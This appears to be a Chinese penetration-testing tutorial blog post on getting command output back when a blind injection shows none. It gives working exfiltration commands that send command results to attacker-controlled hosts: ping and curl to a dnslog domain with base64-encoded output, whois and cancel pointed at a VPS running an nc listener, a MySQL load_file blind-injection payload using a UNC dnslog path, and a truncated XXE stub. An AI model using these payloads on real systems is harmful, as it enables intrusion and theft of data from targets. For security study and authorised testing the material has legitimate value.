干货|如何在无回显时渗透
发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370
前言
在集群智慧云安服渗透测试的很多时候,我们可能都得不到数据的回显。由于得不到数据的回显,我们就无法进一步判断我们集群智慧云安服渗透测试的结果。所以本文告诉大家,在没有回显的时候,我们又该如何测试。
1.利用ping
ping `命令`.dnslog
有很多免费的dnslog使用,例如BurpSuite自带的模块——Burp Collaborator client,当然社区版没有这个功能,专业版的BurpSuite才具有。
Burp Collaborator client
还有免费的ceye.io、吐司等,这里不做过多的介绍,以Burp Collaborator client为例。
假如我们需要执行一个uname,我们先点击Copy to clipboard,接着组装我们的语句即可,最后执行它
Copy to clipboard
待它执行几秒钟,我们的Burp Collaborator client就会有回应
ping执行
回应
我们直接在本机执行uname验证一下
uname
2.利用curl
Win10和WinServer2016(或更高版本)均已默认自带curl
curl dnslog/`命令|base64|tr 'n' '-'`curl dnslog/`命令|tr 'n' '-'`
执行
你会得到一个http的请求,在请求中就是命令执行的结果
curl结果
在某些极端情况下,你可能需要使用base64编码一下,因为可能某些命令返回的结果为中文
base64结果
去掉/、-以后,对结果进行还原就为命令执行以后的结果
原始结果
前面说的这些都是基于能解析host的时候执行的,然而在很多实际情况中,被渗透的机器根本不会配置dns。在不配置dns的情况下,dnslog就会失效,命令将返回uknown host,由于无法解析host,找不到dnslog的ip,我们也无法从dnslog平台获得命令执行的结果。请接着看下文。
3.利用whois
谈到whois,很多人的第一反应应该是查域名从属吧。其实不然,whois还可以用来回显命令执行的结果。
whois -h vps‘ip -p port `命令`whois -h vps‘ip -p port `命令 |base64`
这里我们需要自行准备一台vps,其实就是有公网ip的机器,在机器上监听一个端口。例如我在我的vps上监听6666,且在目标机器执行一个uname
nc -l -p 6666 -vvv
监听6666
那么我们就在目标机器上执行如下命令(myip为我的vpsip)
whois -h myip -p 6666 `uname`whois -h myip -p 6666 `uname |base64`
目标机
vps
如图就返回了我们的命令执行结果
4.利用cancel
其实除了whois以外,还有cancel可以利用
cancel -u "$(命令)" -h vps'ip:port
我们同样需要一台vps,在上面监听任意端口
目标机
攻击机
去除方框中的"my-jobs",即为命令回显结果
后记
那么这些东西可以配合哪些场景使用了?
1.SQL注入
当我们的SQL注入为盲注时,它可是不会返回结果的。
select load_file(concat('\\\\',(SQL语句),'.dnslog\随便输入字母'))
众所周知,mysql中load_file是可以执行dns请求的,注意dnslog前面有个".",千万不要忘记了。
2.XXE
我们只需要把dtd文件换成下面的内容即可
#payload1%remote;]>